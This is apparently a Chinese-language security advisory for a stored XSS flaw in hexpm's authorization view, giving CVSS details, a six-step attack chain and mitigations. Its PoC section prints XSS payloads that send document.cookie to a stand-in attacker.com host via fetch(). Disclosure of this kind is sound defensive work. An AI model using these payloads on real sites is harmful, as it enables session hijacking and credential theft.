CVE-2026-21618 CVSS 6.1 中危

CVE-2026-21618: hexpm跨站脚本(XSS)漏洞

披露日期: 2026-01-19

来源: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

漏洞信息

漏洞编号

CVE-2026-21618

漏洞类型

XSS跨站脚本攻击

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

hexpm (Elixir Hex.pm包管理器)

漏洞概述

CVE-2026-21618是hexpm（Elixir生态系统的官方包管理器）中发现的存储型跨站脚本（Stored XSS）漏洞。该漏洞存在于HexpmWeb.SharedAuthorizationView模块的render_grouped_scopes/3函数中，由于对用户输入的输出编码处理不当，攻击者可以在授权作用域参数中注入恶意JavaScript代码。当其他用户访问包含恶意载荷的页面时，攻击脚本将在受害者浏览器中执行，可能导致会话劫持、敏感信息窃取或对页面内容进行篡改。hexpm作为Elixir社区的核心基础设施，处理大量包管理操作，用户基数广泛，该漏洞对整个Elixir生态系统构成安全风险。攻击利用门槛较低，但需要诱导目标用户点击恶意构造的链接或访问特定页面。

技术细节

该漏洞是典型的Web应用跨站脚本漏洞，源于Elixir模板渲染时未对动态内容进行适当的HTML转义。具体问题出现在lib/hexpm_web/views/shared_authorization_view.ex文件的render_grouped_scopes/3函数中。当处理OAuth授权请求的作用域参数时，系统直接将用户可控的数据嵌入到HTML响应中而未进行输出编码。攻击者可构造包含<script>标签或事件处理器（如onerror、onload）的恶意作用域值。由于hexpm使用EEx模板引擎，虽然框架本身提供自动转义机制，但在某些渲染路径或自定义视图函数中可能绕过了安全机制。成功利用后，恶意JavaScript代码会在管理员或开发者的浏览器会话中执行，可窃取认证令牌、API密钥或执行任意操作。漏洞利用需要攻击者具备创建恶意包或授权请求的能力，并通过社会工程学手段诱导受害者交互。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者研究hexpm的授权机制，识别SharedAuthorizationView模块的输入点

STEP 2

步骤2: 载荷构造

攻击者构造包含XSS payload的作用域参数，如<script>alert(document.domain)</script>

STEP 3

步骤3: 触发注入

通过包发布或OAuth授权请求将恶意载荷注入到hexpm数据库

STEP 4

步骤4: 等待触发

诱导目标用户（如包管理员或开发者）访问包含恶意载荷的授权页面

STEP 5

步骤5: 脚本执行

受害者浏览器解析页面时执行注入的JavaScript代码

STEP 6

步骤6: 成果窃取

恶意脚本窃取用户会话cookie、API密钥或执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2026-21618 PoC - Stored XSS in hexpm SharedAuthorizationView -->
<!-- Attack Scenario: Inject malicious JavaScript via OAuth scope parameter -->

<!-- Malicious scope payload examples: -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">

<!-- Example attack flow: -->
<!-- 1. Attacker crafts a package with malicious authorization scope -->
<!-- 2. When victim views authorization page, XSS payload executes -->
<!-- 3. Attacker steals session tokens or performs actions as victim -->

<!-- Simple test payload for verification: -->
<script>console.log('CVE-2026-21618 XSS Confirmed')</script>

影响范围

hexpm: 617e44c71f1dd9043870205f371d375c5c4d886d 至 c692438684ead90c3bcbfb9ccf4e63c768c668a8之间的版本

hex.pm: 2025-10-01 至 2026-01-19之间的版本

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时措施：1) 限制新用户注册和包发布功能；2) 对所有授权页面添加额外的安全检查；3) 提醒用户不要点击来源不明的hexpm链接；4) 监控异常请求模式；5) 考虑临时启用双因素认证。建议尽快应用官方安全补丁。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表